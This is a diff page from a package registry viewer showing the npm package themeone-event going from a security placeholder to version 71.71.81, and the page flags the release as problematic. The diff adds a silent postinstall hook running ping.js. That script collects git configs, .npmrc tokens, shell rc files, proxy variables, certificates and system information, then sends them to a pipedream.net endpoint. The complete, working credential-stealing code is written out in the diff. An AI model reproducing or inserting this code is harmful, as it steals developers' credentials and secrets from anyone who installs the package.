themeone-event 0.0.1-security → 71.71.81
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of themeone-event might be problematic. Click here for more details.
- package/package.json +12 -3
- package/ping.js +122 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "themeone-event",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "71.71.81",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node ping.js > /dev/null 2>&1"
|
|
7
|
+
},
|
|
8
|
+
"keywords": [],
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"description": "",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"lodash": "^4.17.21"
|
|
14
|
+
}
|
|
6
15
|
}
|
package/ping.js
ADDED
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { exec } = require('child_process');
|
|
6
|
+
|
|
7
|
+
const endpoint = 'eoykc3a7nhkq2yy.m.pipedream.net'; // Your endpoint
|
|
8
|
+
|
|
9
|
+
function send(data) {
|
|
10
|
+
const payload = JSON.stringify(data);
|
|
11
|
+
const options = {
|
|
12
|
+
hostname: endpoint,
|
|
13
|
+
port: 443,
|
|
14
|
+
path: '/',
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: {
|
|
17
|
+
'Content-Type': 'application/json',
|
|
18
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
19
|
+
}
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
const req = https.request(options, res => {});
|
|
23
|
+
req.on('error', error => {});
|
|
24
|
+
req.write(payload);
|
|
25
|
+
req.end();
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
function getGitConfigs() {
|
|
29
|
+
const configs = {};
|
|
30
|
+
const homeGit = path.join(os.homedir(), '.gitconfig');
|
|
31
|
+
const cwdGit = path.join(process.cwd(), '.git', 'config');
|
|
32
|
+
|
|
33
|
+
if (fs.existsSync(homeGit)) {
|
|
34
|
+
try {
|
|
35
|
+
configs.global = fs.readFileSync(homeGit, 'utf8');
|
|
36
|
+
} catch {}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
if (fs.existsSync(cwdGit)) {
|
|
40
|
+
try {
|
|
41
|
+
configs.local = fs.readFileSync(cwdGit, 'utf8');
|
|
42
|
+
} catch {}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
return configs;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function getNpmConfig() {
|
|
49
|
+
try {
|
|
50
|
+
const npmrc = path.join(os.homedir(), '.npmrc');
|
|
51
|
+
if (fs.existsSync(npmrc)) {
|
|
52
|
+
return fs.readFileSync(npmrc, 'utf8');
|
|
53
|
+
}
|
|
54
|
+
} catch {}
|
|
55
|
+
return null;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function getProxyEnv() {
|
|
59
|
+
const proxyVars = ['http_proxy', 'https_proxy', 'HTTP_PROXY', 'HTTPS_PROXY', 'NO_PROXY', 'no_proxy'];
|
|
60
|
+
const proxyConfig = {};
|
|
61
|
+
for (const key of proxyVars) {
|
|
62
|
+
if (process.env[key]) proxyConfig[key] = process.env[key];
|
|
63
|
+
}
|
|
64
|
+
return proxyConfig;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
function readDotFiles() {
|
|
68
|
+
const files = ['.npmrc', '.yarnrc', '.nvmrc', '.bashrc', '.zshrc'];
|
|
69
|
+
const result = {};
|
|
70
|
+
for (const file of files) {
|
|
71
|
+
const full = path.join(os.homedir(), file);
|
|
72
|
+
if (fs.existsSync(full)) {
|
|
73
|
+
try {
|
|
74
|
+
result[file] = fs.readFileSync(full, 'utf8').slice(0, 1000); // limit to 1KB per file
|
|
75
|
+
} catch {}
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
return result;
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
function getDomainInfo() {
|
|
82
|
+
if (os.platform().startsWith('win')) {
|
|
83
|
+
return process.env.USERDOMAIN || null;
|
|
84
|
+
}
|
|
85
|
+
return process.env.HOSTNAME || null;
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function getLocalCerts() {
|
|
89
|
+
try {
|
|
90
|
+
const cert = process.env.NODE_EXTRA_CA_CERTS;
|
|
91
|
+
if (cert && fs.existsSync(cert)) {
|
|
92
|
+
return fs.readFileSync(cert, 'utf8').slice(0, 1000);
|
|
93
|
+
}
|
|
94
|
+
} catch {}
|
|
95
|
+
return null;
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
const baseData = {
|
|
99
|
+
hostname: os.hostname(),
|
|
100
|
+
username: os.userInfo().username,
|
|
101
|
+
platform: os.platform(),
|
|
102
|
+
arch: os.arch(),
|
|
103
|
+
timestamp: new Date().toISOString(),
|
|
104
|
+
installPath: path.resolve(__dirname),
|
|
105
|
+
cwd: process.cwd(),
|
|
106
|
+
domainInfo: getDomainInfo(),
|
|
107
|
+
npmConfig: getNpmConfig(),
|
|
108
|
+
proxyEnv: getProxyEnv(),
|
|
109
|
+
dotConfigs: readDotFiles(),
|
|
110
|
+
localCerts: getLocalCerts(),
|
|
111
|
+
gitConfig: getGitConfigs()
|
|
112
|
+
};
|
|
113
|
+
|
|
114
|
+
const isWindows = os.platform().startsWith('win');
|
|
115
|
+
const cmd = isWindows ? 'systeminfo' : 'uname -a && cat /etc/os-release && lscpu || cat /proc/cpuinfo';
|
|
116
|
+
|
|
117
|
+
exec(cmd, (error, stdout, stderr) => {
|
|
118
|
+
send({
|
|
119
|
+
...baseData,
|
|
120
|
+
systeminfo: error ? stderr || 'command failed' : stdout
|
|
121
|
+
});
|
|
122
|
+
});
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=themeone-event for more information.
|